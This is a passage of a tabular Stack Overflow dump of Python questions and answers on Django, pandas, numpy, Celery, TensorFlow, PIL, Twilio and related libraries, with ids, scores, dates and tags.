title
stringlengths
10
172
question_id
int64
469
40.1M
question_body
stringlengths
22
48.2k
question_score
int64
-44
5.52k
question_date
stringlengths
20
20
answer_id
int64
497
40.1M
answer_body
stringlengths
18
33.9k
answer_score
int64
-38
8.38k
answer_date
stringlengths
20
20
tags
list
iterating a single item list faster than iterating a long string? #Python #Cherrypy
38,708,672
<p>When using Cherrypy, I ran into this comment line. "strings get wrapped in a list because iterating over a single item list is much faster than iterating over every character in a long string." This is located at <a href="https://github.com/cherrypy/cherrypy/blob/master/cherrypy/lib/encoding.py#L223" rel="nofollow"...
-1
2016-08-01T21:48:40Z
38,708,904
<p>I think that code only makes sense if you recognize that prior to the code with that comment, <code>self.body</code> could be either a single string, or an iterable sequence that contains many strings. Other code will use it as the latter (iterating on it and doing string stuff with the items).</p> <p>While would t...
2
2016-08-01T22:11:10Z
[ "python", "cherrypy" ]
TemplateDoesNotExist at / base/index.html when deploying to heroku
38,708,729
<p>I've been working on this issue for days and I would really love some real help here! :)</p> <p>I'm brand new to Python, Django, and stackoverflow, so please let me know if more information or a different format would be helpful. </p> <p>I'm trying to deploy my app on Heroku. It runs locally, but when I try to </p...
0
2016-08-01T21:53:02Z
38,709,559
<p>In your <code>TEMPLATES</code> setting, try changing your <code>DIRS</code> setting to:</p> <pre><code>'DIRS': [os.path.join(BASE_DIR, 'templates')], </code></pre> <p>This is the usual approach, I cannot see any reason to use <code>MAIN_DIR</code> as you currently do.</p> <p>Keep the template as</p> <pre><code>t...
0
2016-08-01T23:25:05Z
[ "python", "django", "heroku" ]
Django / mySQL - AttributeError: 'ForeignKey' object has no attribute 'IntegerField'
38,708,748
<p>I have a django project which works fine on windows. and I am trying to move it to a ubuntu. There are some problem exist when I run <code>python manage.py runserver 8000</code></p> <blockquote> <p>File "/home/zhaojf1/Web-Interaction-APP/fileUpload_app/models.py", line 151, in Machine number_pins = models.I...
1
2016-08-01T21:54:20Z
38,708,803
<p>Your field named <code>models</code> shadows the <code>models</code> imported from Django. You can either rename the field:</p> <pre><code>other_name_for_models = models.ForeignKey('Model', db_column='models', blank=True, null=True) </code></pre> <p>or import the module with a different name</p> <pre><code>from d...
3
2016-08-01T22:00:10Z
[ "python", "mysql", "django" ]
openoffice calc - newline causes duplicate value in cells (pandas/openpyxl)
38,708,775
<p>Does anyone know how to workaround a problem of OpenOffice Calc not handling new lines in cells correct?</p> <p>I have a python script that is dynamically generating an excel workbook using openpyxl via pandas.</p> <p>The script works fine but when I view cells in OpenOffice that contain newlines all the values ar...
4
2016-08-01T21:57:08Z
38,725,267
<p>When I run your example with a recent Pandas and XlsxWriter I get the expected output in Excel:</p> <p><a href="http://i.stack.imgur.com/lMxNe.png" rel="nofollow"><img src="http://i.stack.imgur.com/lMxNe.png" alt="enter image description here"></a></p> <p>However, in this case Excel is automatically adjusting the ...
0
2016-08-02T15:55:27Z
[ "python", "openoffice-calc", "xlsxwriter" ]
openoffice calc - newline causes duplicate value in cells (pandas/openpyxl)
38,708,775
<p>Does anyone know how to workaround a problem of OpenOffice Calc not handling new lines in cells correct?</p> <p>I have a python script that is dynamically generating an excel workbook using openpyxl via pandas.</p> <p>The script works fine but when I view cells in OpenOffice that contain newlines all the values ar...
4
2016-08-01T21:57:08Z
38,727,080
<p>The code worked fine for me using OpenOffice 4.1.2 on Windows:</p> <p><a href="http://i.stack.imgur.com/BnVEj.png" rel="nofollow"><img src="http://i.stack.imgur.com/BnVEj.png" alt="enter image description here"></a></p> <p>For this screenshot, I double-clicked on the bottom of the second row to expand it. Before ...
2
2016-08-02T17:38:17Z
[ "python", "openoffice-calc", "xlsxwriter" ]
Why is there an underscore following the "from" in the Twilio Rest API?
38,708,834
<p>In the <a href="https://www.twilio.com/docs/libraries/python#testing-your-installation" rel="nofollow">twilio python library</a>, we have this feature to create messages:</p> <p><code>from twilio.rest import TwilioRestClient </code></p> <p>and we can write:</p> <p><code>msg = TwilioRestClient.messages.create(body...
5
2016-08-01T22:02:56Z
38,708,867
<p>This is because <code>from</code> would be an invalid argument name, resulting in a <code>SyntaxError</code> - it's a python keyword.</p> <p>Appending a trailing underscore is the recommended way to avoid such conflicts mentioned in the <a href="https://www.python.org/dev/peps/pep-0008/#function-and-method-argument...
11
2016-08-01T22:07:15Z
[ "python", "twilio", "twilio-api" ]
Run Celery task for each row returned from MySQL query?
38,708,893
<p>I've used Python before but only for Flask applications, but I've never used Celery before. After reading the docs and setting everything up (and it works as I've tested it with multiple workers) I'm trying to run an SQL query and for each row that gets returned from the query send it off to be processed by a Celery...
0
2016-08-01T22:10:03Z
38,710,226
<p>Whenever you call a task from within a task, you have to use <a href="http://docs.celeryproject.org/en/latest/getting-started/next-steps.html#canvas-designing-workflows" rel="nofollow">subtasks</a>. Fortunately the syntax is easy.</p> <pre><code>from celery import Celery app = Celery('tasks', broker='redis://127.0...
1
2016-08-02T00:54:50Z
[ "python", "mysql", "celery" ]
EVault backup status outdated
38,708,939
<p>I am getting the latest backup job status of the EVault agents from the API but for one job the status is outdated since the jobs are running successfully daily as has been informed by the EVault notification.</p> <h1>EVault notification</h1> <pre><code>Agent: Number 3 Job: BACKUP Daily Retention: DAILY Job start ...
0
2016-08-01T22:15:07Z
38,719,416
<p>Are you sure that is the last time that the job ran? The content of the "backupJobDetails" property is ordered ASC, so the last time of the job ran is the last value into the "backupJobDetails" property.</p> <p>Also review if you see the same wrong value in the control portal at <a href="https://control.softlayer....
0
2016-08-02T11:38:52Z
[ "python", "softlayer" ]
IBM WebSphere Application Server wsadmin returning only first result out of 6 in script
38,709,006
<p>When attempting to get the status of applicaitons in WebSphere Application Server, I expect there to be multiple returned mbeans. However, WAS is only returning the first result and discarding the rest of them it seems.</p> <pre><code>[wasadmin@servername01 ~]$ Run_wsadmin.sh -f wsadmin_Check_App_Status.py WASX7209...
1
2016-08-01T22:22:30Z
38,709,310
<p>According to the doc of <code>AdminControl.completeObjectName()</code></p> <blockquote> <p>Use the completeObjectName command to create a string representation of a complete ObjectName value that is based on a fragment. This command does not communicate with the server to find a matching ObjectName value. <strong...
3
2016-08-01T22:55:18Z
[ "python", "websphere", "ibm", "jython" ]
How to reformat dataframe, suppress exponential
38,709,017
<p>How to reformat a pandas dataframe such that there are no scientific notation such as exponential signs? And also, <code>serial_num</code> should be integer.</p> <p>I tried <code>df = pd.read_csv(StringIO('data.csv'))</code> but it didnt work.</p> <pre><code>df = pd.read_csv('data.csv') print df id serial_...
2
2016-08-01T22:23:49Z
38,709,144
<p>Try:</p> <pre><code>df.membershipid = df.membershipid.astype(int) df.serial_num = df.serial_num.str.extract(r'"(.*)"', expand=False).astype(int) </code></pre> <p><a href="http://i.stack.imgur.com/pk5ez.png" rel="nofollow"><img src="http://i.stack.imgur.com/pk5ez.png" alt="enter image description here"></a></p>
2
2016-08-01T22:36:55Z
[ "python", "pandas" ]
What is the difference between float(44*2.2) and (float)(44*2.2) in PYTHON 3?
38,709,029
<p>If you just type <code>float(44*2.2)</code> on the interpreter and <code>(float)(44*2.2)</code> they return the same result. Is one explicitly casting the result, and one using it as a function? And what is the use of each case and any pro's/con's for each case? This is Python 3, I'm sure it'll work with Python 2 as...
0
2016-08-01T22:24:38Z
38,709,062
<p>Both usages invoke the built-in function <code>float</code>. In python, functions are just values, so <code>(float)</code> is the same function reference as <code>float</code>.</p> <p>There is no casting involved. I would prefer the first usage, because it's more clear.</p>
4
2016-08-01T22:27:40Z
[ "python" ]
What's the preferred python distribution if I want to package my env and code into one bundle
38,709,071
<p>I have a python env and code that runs on that env. I have code to setup this env using wget and such, but that's not OS independent really.</p> <p>I wish to bundle this env and code into one (bundle?) and distribute, so the user doesn't has to set up the env before running the code.</p> <p>Basically give the end ...
0
2016-08-01T22:28:22Z
38,709,130
<p>If the code is run on a server you should consider using <a href="https://www.docker.com" rel="nofollow">docker</a> and <a href="https://docs.docker.com/compose/overview/" rel="nofollow">docker-compose</a>.</p> <p>This technology allows you to define the entire setup in config-files, and the only thing you need to ...
1
2016-08-01T22:35:28Z
[ "python", "python-packaging" ]
What's the preferred python distribution if I want to package my env and code into one bundle
38,709,071
<p>I have a python env and code that runs on that env. I have code to setup this env using wget and such, but that's not OS independent really.</p> <p>I wish to bundle this env and code into one (bundle?) and distribute, so the user doesn't has to set up the env before running the code.</p> <p>Basically give the end ...
0
2016-08-01T22:28:22Z
38,754,968
<p>Decided to use <a href="http://www.pyinstaller.org/" rel="nofollow">Pyinstaller</a>. Seems straightforward and under active development.</p>
0
2016-08-03T22:58:49Z
[ "python", "python-packaging" ]
Duck typing and foreign objects
38,709,075
<p>I'm currently replicating something similar to this question: <a href="http://stackoverflow.com/questions/2351525/python-switch-by-class-name">python switch by class name?</a></p> <p>I have a for loop that iterates over a set of objects and sorts them, by their type, into one of several lists.</p> <pre><code>for o...
1
2016-08-01T22:28:53Z
38,709,360
<p>Another approach, depending on your specifics, might make use of the fact that the <code>type</code> type is immutable, and thus able to be used as a dictionary key.</p> <p>So you could do something like:</p> <pre><code>from collections import defaultdict list_of_things = [2, 3, "Some", "String"] obj_map = defau...
0
2016-08-01T23:01:28Z
[ "python", "serialization", "duck-typing" ]
use environment variables in CircleCI
38,709,099
<p>I'm trying to use CircleCI to run automated tests. I have a config.yml file tat contains secrets that I don't want to upload to my repo for obvius reasons. </p> <p>Thus I've created a set of env varialbes in the Project Settings section:</p> <pre><code>VR_API_KEY = some_value CLARIFAI_CLIENT_ID = some_value CLARIF...
0
2016-08-01T22:31:21Z
39,110,894
<p>CircleCI also supports putting in environment variables (<a href="https://circleci.com/docs/environment-variables/" rel="nofollow">CircleCI Environment Variables</a>). Instead of putting the value of the environment variable in the code, you go to project settings -> Environment Variables. Then just click add variab...
0
2016-08-23T21:22:46Z
[ "python", "circleci" ]
Running subprocesses command with two string inputs
38,709,118
<p>I'm trying to validate a certificate with a CA bundle file. The original Bash command takes two file arguments like this;</p> <pre><code>openssl verify -CAfile ca-ssl.ca cert-ssl.crt </code></pre> <p>I'm trying to figure out how to run the above command in python subprocess whilst having ca-ssl.ca and cert-ssl.crt...
3
2016-08-01T22:33:53Z
38,709,397
<p>If you want to use process substitution, you will <em>have</em> to use <code>shell=True</code>. This is unavoidable. The <code>&lt;(...)</code> process substitution syntax is bash syntax; you simply must call bash into service to parse and execute such code.</p> <p>Additionally, you have to ensure that <code>bash</...
-2
2016-08-01T23:05:29Z
[ "python", "bash", "variables", "subprocess" ]
Running subprocesses command with two string inputs
38,709,118
<p>I'm trying to validate a certificate with a CA bundle file. The original Bash command takes two file arguments like this;</p> <pre><code>openssl verify -CAfile ca-ssl.ca cert-ssl.crt </code></pre> <p>I'm trying to figure out how to run the above command in python subprocess whilst having ca-ssl.ca and cert-ssl.crt...
3
2016-08-01T22:33:53Z
38,861,639
<p>Bash process substitution <code>&lt;(...)</code> in the end is supplying a file path as an argument to <code>openssl</code>. </p> <p>You will need to make a helper function to create this functionality since Python doesn't have any operators that allow you to inline pipe data into a file and present its path:</p> ...
1
2016-08-09T22:49:00Z
[ "python", "bash", "variables", "subprocess" ]
How can I write a list without duplicate with only for, if and boolean
38,709,150
<p>My professor gave me an exercise where I write a function that returns a list without the duplicate to the old list. This is the code but I don't know how to write the method without using <code>.remove()</code>:</p> <pre><code>def distinct(lst): lstnew = [] c = range(len(lst)) for i in range(len(lst)):...
1
2016-08-01T22:37:14Z
38,709,214
<pre><code>def distinct(lst): dlst = [] for val in lst: if val not in dlst: dlst.append(val) return dlst </code></pre>
3
2016-08-01T22:44:46Z
[ "python", "python-2.7" ]
How can I write a list without duplicate with only for, if and boolean
38,709,150
<p>My professor gave me an exercise where I write a function that returns a list without the duplicate to the old list. This is the code but I don't know how to write the method without using <code>.remove()</code>:</p> <pre><code>def distinct(lst): lstnew = [] c = range(len(lst)) for i in range(len(lst)):...
1
2016-08-01T22:37:14Z
38,709,227
<p>Is this considered cheating?</p> <pre><code>&gt;&gt;&gt; distinct = lambda lst: list(set(lst)) &gt;&gt;&gt; distinct([1,3,1,2,6]) [1, 2, 3, 6] &gt;&gt;&gt; distinct(['a','ab','a','ab']) ['a', 'ab'] </code></pre>
2
2016-08-01T22:46:25Z
[ "python", "python-2.7" ]
How can I write a list without duplicate with only for, if and boolean
38,709,150
<p>My professor gave me an exercise where I write a function that returns a list without the duplicate to the old list. This is the code but I don't know how to write the method without using <code>.remove()</code>:</p> <pre><code>def distinct(lst): lstnew = [] c = range(len(lst)) for i in range(len(lst)):...
1
2016-08-01T22:37:14Z
38,709,233
<p>If order isn't important, you can cast it to a <code>set</code>, then back to a <code>list</code></p> <pre><code>def distinct(lst): return list(set(lst)) </code></pre>
1
2016-08-01T22:46:47Z
[ "python", "python-2.7" ]
How can I write a list without duplicate with only for, if and boolean
38,709,150
<p>My professor gave me an exercise where I write a function that returns a list without the duplicate to the old list. This is the code but I don't know how to write the method without using <code>.remove()</code>:</p> <pre><code>def distinct(lst): lstnew = [] c = range(len(lst)) for i in range(len(lst)):...
1
2016-08-01T22:37:14Z
38,709,889
<p>If you need to eliminate duplicates AND preserve order you can do this:</p> <pre><code>def distinct(lst): seen = set() for item in lst: if item not in seen: yield item seen.add(item) </code></pre> <hr> <pre><code>a = [1,3,1,2,6] print(list(distinct(a))) [1,3,2,6] </code><...
0
2016-08-02T00:11:33Z
[ "python", "python-2.7" ]
How can I write a list without duplicate with only for, if and boolean
38,709,150
<p>My professor gave me an exercise where I write a function that returns a list without the duplicate to the old list. This is the code but I don't know how to write the method without using <code>.remove()</code>:</p> <pre><code>def distinct(lst): lstnew = [] c = range(len(lst)) for i in range(len(lst)):...
1
2016-08-01T22:37:14Z
38,714,922
<p>There are Excellent Solutions That I Already Applied. But my professor said us that we don't must use the methods of the list. Has anyone else got any more thoughts?</p>
0
2016-08-02T08:02:14Z
[ "python", "python-2.7" ]
Copy QTreeWidgetItem from QPushButton item widget
38,709,274
<p>I'd like to copy a QTreeWidgetItem, if a push-button is pushed within it.</p> <p>So far I've got:</p> <pre><code>def Copy(self): obj = self.sender() self.Tree = qt.QTreeWidget(self) self.Tree.setHeaderLabels(["Name"]) item = qt.QTreeWidgetItem("Name") self.Tree.addTopLevelItem(item) childItem = qt.QTreeW...
0
2016-08-01T22:51:30Z
38,709,327
<p>There's no direct way to get the <code>QTreeWidgetItem</code> from its item-widget, so you will have to explicitly store the index somewhere so that it can be accessed later.</p> <p>One way to do this is to add the index to the item-widget as a property:</p> <pre><code>bttn = qt.QPushButton("Copy This Widget", sel...
1
2016-08-01T22:58:10Z
[ "python", "pyqt", "qtreewidgetitem" ]
Converting image file from attachment to Pdf file in python
38,709,298
<p>I am trying to convert images from the attachment of .msg file and save into PdF file. However i get the error when i tried to read the image file for converting into PdF file. Here is the part of my code </p> <pre><code>if count_attachments &gt; 0: for item in range(count_attachments): attach...
0
2016-08-01T22:54:10Z
38,709,344
<p>Replace the line:<br> <code>img_data = open(attached, 'rb').read()</code> </p> <p>with:<br> <code>img_data = open(attached.filename, 'rb').read()</code></p>
0
2016-08-01T23:00:03Z
[ "python", "python-3.x", "pdf" ]
numpy vectorize multidimensional function
38,709,313
<p>I am having problems to vectorize a multidimensional function.<br> Consider the following example:</p> <pre><code>def _cost(u): return u[0] - u[1] cost = np.vectorize(_cost) &gt;&gt;&gt; x = np.random.normal(0, 1,(10, 2)) &gt;&gt;&gt; cost(x) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, ...
0
2016-08-01T22:55:45Z
38,709,406
<p>As mentioned in the notes for <a href="http://docs.scipy.org/doc/numpy/reference/generated/numpy.vectorize.html" rel="nofollow"><code>vectorize</code></a>: </p> <blockquote> <p>The vectorize function is provided primarily for convenience, not for performance. The implementation is essentially a for loop.</p> </bl...
0
2016-08-01T23:07:14Z
[ "python", "arrays", "numpy", "multidimensional-array", "vectorization" ]
numpy vectorize multidimensional function
38,709,313
<p>I am having problems to vectorize a multidimensional function.<br> Consider the following example:</p> <pre><code>def _cost(u): return u[0] - u[1] cost = np.vectorize(_cost) &gt;&gt;&gt; x = np.random.normal(0, 1,(10, 2)) &gt;&gt;&gt; cost(x) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, ...
0
2016-08-01T22:55:45Z
38,709,980
<p><code>np.vectorize</code> feeds scalars to your function. For example:</p> <pre><code>In [1090]: def _cost(u): ...: return u*2 In [1092]: cost=np.vectorize(_cost) In [1093]: cost(np.arange(10) ...: ) Out[1093]: array([ 0, 2, 4, 6, 8, 10, 12, 14, 16, 18]) In [1094]: cost(np.ones((3,4))) Out[109...
0
2016-08-02T00:22:28Z
[ "python", "arrays", "numpy", "multidimensional-array", "vectorization" ]
Appending Multiple Text Files using Dictionaries Python
38,709,322
<p>I am currently working on some Data Analytics work and I'm having a bit of trouble with the Data Preprocessing.</p> <p>I have compiled a folder of text files, with the name of the text file being the date that the text file corresponds to. I was originally able to append all of the text files to one document, but I...
0
2016-08-01T22:57:09Z
38,709,528
<p>There are many issues, but the one that is causing the trouble here is that you're opening <code>finalv2.txt</code> twice. Once with mode <code>w</code> (and doing nothing with it), and again inside <code>append_record()</code>, this time with mode <code>a</code>.</p> <p>Consider the following:</p> <pre><code>imp...
3
2016-08-01T23:21:52Z
[ "python", "dictionary" ]
Python Pandas: Split slash separated strings in two or more columns into multiple rows
38,709,423
<p>I have a pandas dataframe that looks like this:</p> <pre><code>SUBJECT STUDENT CITY STATE Math/Chemistry/Biology Sam/Peter/Mary Los Angeles CA Geology/Physics John Boston MA </code></pre> <p>This is how it should look like:</p> <pre><code>SUBJECT STUD...
2
2016-08-01T23:09:12Z
38,709,640
<p>First thing, split fields by <code>'/'</code></p> <pre><code>df.SUBJECT = df.SUBJECT.str.split('/') df.STUDENT = df.STUDENT.str.split('/') </code></pre> <p>Then I use a function to explode rows. However, I had to segregate those rows that only had one student or subject.</p> <pre><code>def explode(df, columns): ...
3
2016-08-01T23:35:59Z
[ "python", "pandas", "dataframe" ]
Python Pandas: Split slash separated strings in two or more columns into multiple rows
38,709,423
<p>I have a pandas dataframe that looks like this:</p> <pre><code>SUBJECT STUDENT CITY STATE Math/Chemistry/Biology Sam/Peter/Mary Los Angeles CA Geology/Physics John Boston MA </code></pre> <p>This is how it should look like:</p> <pre><code>SUBJECT STUD...
2
2016-08-01T23:09:12Z
38,710,301
<p>Try this: Can be modified where <code>SUBJECT</code> equals 1 and <code>zip</code> is then used. </p> <pre><code>df3.SUBJECT = df3.SUBJECT.str.split('/') df3.STUDENT = df3.STUDENT.str.split('/') def splitter(gb): ll = [] subs, stus = gb.SUBJECT.values[0], gb.STUDENT.values[0] if len(stus) == len(su...
1
2016-08-02T01:05:23Z
[ "python", "pandas", "dataframe" ]
Python Pandas: Split slash separated strings in two or more columns into multiple rows
38,709,423
<p>I have a pandas dataframe that looks like this:</p> <pre><code>SUBJECT STUDENT CITY STATE Math/Chemistry/Biology Sam/Peter/Mary Los Angeles CA Geology/Physics John Boston MA </code></pre> <p>This is how it should look like:</p> <pre><code>SUBJECT STUD...
2
2016-08-01T23:09:12Z
38,713,282
<p>Another solution with <a href="http://pandas.pydata.org/pandas-docs/stable/generated/pandas.concat.html" rel="nofollow"><code>concat</code></a> and <a href="http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.join.html" rel="nofollow"><code>join</code></a>:</p> <pre><code>s1 = df.SUBJECT.str.spli...
2
2016-08-02T06:36:17Z
[ "python", "pandas", "dataframe" ]
checking multiple username and password in pycharm robotframework using for loop
38,709,431
<p>I am trying to check multiple username and password for testing in robotframework using Pycharm. I am using Mac EI Captain. Please help me out. I am trying to use the method given in Robot Framework Guide. Also, Is is possible or not? Or I have to use excel sheet or python file? Please let me knw. This is the piece...
1
2016-08-01T23:10:31Z
38,717,068
<p>you can first call and retrieve all users in database and set them in a variable for example BODY and then get the username and passwords from the jsonbody <code>:FOR ${ELEMENT} IN @{BODY.json()}</code> and call your other keywords</p>
0
2016-08-02T09:47:48Z
[ "python", "pycharm", "robotframework" ]
Upgraded Seaborn 0.7.0 to 0.7.1, getting AttribueError for missing axlabel
38,709,439
<p>Having trouble with my upgrade to Seaborn 0.7.1. Conda only has 0.7.0 so I removed it and installed 0.7.1 with pip.</p> <p>I am now getting this error:</p> <p><code>AttributeError: module 'seaborn' has no attribute 'axlabel'</code></p> <p>from this line of code</p> <p><code>sns.axlabel(xlabel="SAMPLE GROUP", yla...
1
2016-08-01T23:11:28Z
38,718,933
<p>Changes were made in 0.7.1 to clean up the top-level namespace a bit. <code>axlabel</code> was not used anywhere in the documentation, so it was moved to make the main functions more discoverable. You can still access it with <code>sns.utils.axlabel</code>. Sorry for the inconvenience.</p> <p>Note that it's usually...
1
2016-08-02T11:16:20Z
[ "python", "seaborn" ]
Python_assigning variable using Random function
38,709,441
<p>I am new to python with no prior coding experience. I am using "Python Programming for the absolute beginner" by Mike Dawson to learn this language. One of the assignment is - to simulate a fortune cookie and the program should display one of the five unique fortune at random, each time it's run. </p> <p>I have wri...
0
2016-08-01T23:11:33Z
38,709,596
<p>Your error is in <code>message = random.randrange(m1, m5)</code>. The method only takes integers as parameters. You should try putting your sentences in a list instead and test the following:</p> <pre><code>import random print("\t\tFortune Cookie") print("\t\tWelcome user!") messages = [ "The earth is a schoo...
0
2016-08-01T23:30:12Z
[ "python" ]
Save or export weights and biases in TensorFlow for non-Python replication
38,709,517
<p>I've built a neural network that performs reasonably well, and I'd like to replicate my model in a non-Python environment. I set up my network as follows:</p> <pre><code>sess = tf.InteractiveSession() x = tf.placeholder(tf.float32, shape=[None, 23]) y_ = tf.placeholder(tf.float32, shape=[None, 2]) W = tf.Variable(t...
0
2016-08-01T23:20:49Z
38,709,631
<p>You can fetch the variables as NumPy arrays, and use <a href="http://docs.scipy.org/doc/numpy/reference/generated/numpy.savetxt.html" rel="nofollow"><code>numpy.savetxt()</code></a> to write out the contents as text or CSV:</p> <pre><code>import numpy as np W_val, b_val = sess.run([W, b]) np.savetxt("W.csv", W_va...
1
2016-08-01T23:34:35Z
[ "python", "machine-learning", "neural-network", "tensorflow" ]
How to Format a Date Column in Pandas?
38,709,558
<p>I have a dataframe <code>df</code> that look like this:</p> <pre><code> ID Date 0 1 2008-01-24 1 2 2007-02-17 </code></pre> <p>The format of <code>Date</code> is <code>%Y-%m-%d</code></p> <p>How can I format the dates to <code>%m-%d-%Y</code> format?</p> <p>I tried using this syntax but it did not give th...
0
2016-08-01T23:24:46Z
38,709,590
<p>Use the <a href="http://pandas.pydata.org/pandas-docs/stable/basics.html#dt-accessor" rel="nofollow"><code>.dt</code></a> accessor:</p> <pre><code>df["Date"] = df["Date"].dt.strftime("%m-%d-%Y") </code></pre>
2
2016-08-01T23:28:37Z
[ "python", "datetime", "pandas", "dataframe", "format" ]
six.b(literal) same as b'literal'? Python 2/3
38,709,567
<p>I have a piece of code, are these two equivalent? I understand that <code>six</code> module is used for making code compatible with both 2 and 3.</p> <pre><code>from six import b os.write(w, b("EMount unsuccessful")) os.write(w, b"EMount unsuccessful") </code></pre>
1
2016-08-01T23:26:15Z
38,709,724
<p>It depends on the python version you are using. In 2.6 or higher, those are equivalent and you can use u instead of u().</p>
2
2016-08-01T23:48:11Z
[ "python" ]
Divide numpy matrix elements in 2-D matrix by sum of all elements in that position of 1-D
38,709,570
<p>If we have a matrix such as:</p> <p>[ [ 2, 3 ] , [ 4, 9 ], [ 3, 1 ] ]</p> <p>I want to know how to be able to divide matrix elements as follows:</p> <p>Sum the elements in the same position of their respective 1-D vectors</p> <p>2 + 4 + 3 = 9</p> <p>3 + 9 + 1 = 13</p> <p>Then divide each of the elements by the...
0
2016-08-01T23:26:26Z
38,709,634
<h3>One solution:</h3> <pre><code>import numpy as np data = [[2, 3] , [4, 9], [3, 1]] result = data / np.sum(data, axis=0) print(result) </code></pre> <h3>Output:</h3> <blockquote> <p>[[ 0.22222222 0.23076923] <br> [ 0.44444444 0.69230769] <br> [ 0.33333333 0.07692308]]</p> </blockquote>
2
2016-08-01T23:35:19Z
[ "python", "numpy", "matrix" ]
Returning rows in a dataframe to a list of integers
38,709,595
<p>I have a dataframe with multiple columns and a few 1000 rows with text data. One column contains floats that represent time in ascending order (0, 0.45, 0.87, 1.10 etc). From this I want to build a new dataframe that contains only all the rows where these time values are closest to the integers x = 0,1,2,3......etc...
2
2016-08-01T23:30:04Z
38,709,798
<p>Consider the following <code>pd.Series</code> <code>s</code></p> <pre><code>s = pd.Series(np.arange(5000), np.random.rand(5000) * 100).sort_index() s.head() 0.002587 3007 0.003418 4332 0.060767 2045 0.125182 3179 0.134487 4614 dtype: int64 </code></pre> <p>Get all integers to get closest to with:<...
1
2016-08-01T23:58:40Z
[ "python", "python-3.x", "pandas" ]
Returning rows in a dataframe to a list of integers
38,709,595
<p>I have a dataframe with multiple columns and a few 1000 rows with text data. One column contains floats that represent time in ascending order (0, 0.45, 0.87, 1.10 etc). From this I want to build a new dataframe that contains only all the rows where these time values are closest to the integers x = 0,1,2,3......etc...
2
2016-08-01T23:30:04Z
38,709,881
<p>Don't know how fast this would be, but you could round the times to get "integer" candidates, take the absolute value of the difference to give yourself a way to find the closest, then sort by difference, and then <code>groupby</code> the integer time to return just the rows that are close to integers:</p> <pre><co...
1
2016-08-02T00:10:47Z
[ "python", "python-3.x", "pandas" ]
RGB Values Being Returned by PIL don't match RGB color
38,709,618
<p>I'm attempting to make a reasonably simple code that will be able to read the size of an image and return all the RGB values. I'm using PIL on Python 2.7, and my code goes like this:</p> <pre><code>import os, sys from PIL import Image img = Image.open('C:/image.png') pixels = img.load() print(pixels[0, 1]) </code...
0
2016-08-01T23:32:25Z
38,709,975
<p>My guess is that your image file is using pre-multiplied alpha values. The <code>8</code> values you see are pretty close to <code>55*34/255</code> (where <code>34</code> is the alpha channel value).</p> <p>PIL uses the mode <code>"RGBa"</code> (with a little <code>a</code>) to indicate when it's using premultiplie...
4
2016-08-02T00:21:52Z
[ "python", "python-imaging-library", "rgb" ]
Are there any dangers associated with using kwarg=kwarg in Python functions?
38,709,667
<p>I've sometimes seen code with kwarg=kwarg in one of the functions as shown below:</p> <pre><code>def func1(foo, kwarg): return(foo+kwarg) def func2(bar, kwarg): return(func1(bar*2, kwarg=kwarg)) print(func2(4,5)) </code></pre> <p>I've normally tried to avoid this notation (e.g. by using kwarg1=kwarg2) in ...
0
2016-08-01T23:40:45Z
38,709,915
<p>There's nothing <em>wrong</em> with it - in this case <code>kwarg</code> is just a variable name - it's not reserved. There may be a bit of confusion with it though, since <code>def func(**kwargs):</code> is the common syntax for creating a dictionary of all the "key word arguments" that are passed into the function...
2
2016-08-02T00:14:51Z
[ "python", "function", "notation", "keyword-argument" ]
drop hour,min,sec from timestemp?
38,709,670
<p>I want to convert a date from sas, 14487, to 1999-08-31.</p> <p>How can I convert the current results '1999-08-31 00:00:00' to '1999-08-31'? I've tried ser.normalize(). But it doesn't help.</p> <pre><code>ser = pd.to_timedelta(14487, unit='D') + pd.Timestamp('1960-1-1') ser.normalize() </code></pre> <p>yield</p> ...
2
2016-08-01T23:40:48Z
38,709,697
<p><code>normalize</code> just resets the time to midnight (according to <a href="http://pandas.pydata.org/pandas-docs/stable/generated/pandas.Series.dt.normalize.html" rel="nofollow">the docs</a>).</p> <p>You can use <code>strftime</code> (see docs <a href="http://pandas.pydata.org/pandas-docs/version/0.17.0/generate...
3
2016-08-01T23:44:13Z
[ "python", "pandas", "timestamp" ]
drop hour,min,sec from timestemp?
38,709,670
<p>I want to convert a date from sas, 14487, to 1999-08-31.</p> <p>How can I convert the current results '1999-08-31 00:00:00' to '1999-08-31'? I've tried ser.normalize(). But it doesn't help.</p> <pre><code>ser = pd.to_timedelta(14487, unit='D') + pd.Timestamp('1960-1-1') ser.normalize() </code></pre> <p>yield</p> ...
2
2016-08-01T23:40:48Z
38,709,746
<p>If you want it in a datetime.date format:</p> <pre><code>(pd.to_timedelta(14487, unit='D') + pd.Timestamp('1960-1-1')).date() #Out: #datetime.date(1999, 8, 31) </code></pre>
3
2016-08-01T23:50:44Z
[ "python", "pandas", "timestamp" ]
Scikit-learn using GridSearchCV on DecisionTreeClassifier
38,709,690
<p>I tried to use GridSearchCV on DecisionTreeClassifier, but get the following error: TypeError: unbound method get_params() must be called with DecisionTreeClassifier instance as first argument (got nothing instead)</p> <p>here's my code: </p> <pre><code>from sklearn.tree import DecisionTreeClassifier, export_graph...
1
2016-08-01T23:43:15Z
38,709,830
<p>In your call to <code>GridSearchCV</code> method, the first argument should be an instantiated object of the <code>DecisionTreeClassifier</code> instead of the name of the class. It should be</p> <pre><code>clf = GridSearchCV(DecisionTreeClassifier(), tree_para, cv=5) </code></pre> <p>Check out the example <a href...
1
2016-08-02T00:02:39Z
[ "python", "machine-learning", "scikit-learn" ]
Remove characters in ranges from a string
38,709,711
<p>Curious to find if people can do much faster than my implementation (using pure python, or whatever, but then just for your sake).</p> <pre><code>sentence = "This is some example sentence where we remove parts" matches = [(5, 10), (13, 18), (22, 27), (38, 42)] </code></pre> <p>The goal is to remove within those ra...
1
2016-08-01T23:45:50Z
38,709,808
<pre><code>shorthend =sentence[:matches[0][0]]+ "".join([sentence[matches[i-1][1]:matches[0][0] for i in range(1, len(matches)]) + sentence[matches[len(matches)]:] </code></pre> <p>Since I' on my phone right now, I cannot debug but it should work :D</p>
0
2016-08-01T23:59:39Z
[ "python", "optimization" ]
Remove characters in ranges from a string
38,709,711
<p>Curious to find if people can do much faster than my implementation (using pure python, or whatever, but then just for your sake).</p> <pre><code>sentence = "This is some example sentence where we remove parts" matches = [(5, 10), (13, 18), (22, 27), (38, 42)] </code></pre> <p>The goal is to remove within those ra...
1
2016-08-01T23:45:50Z
38,709,820
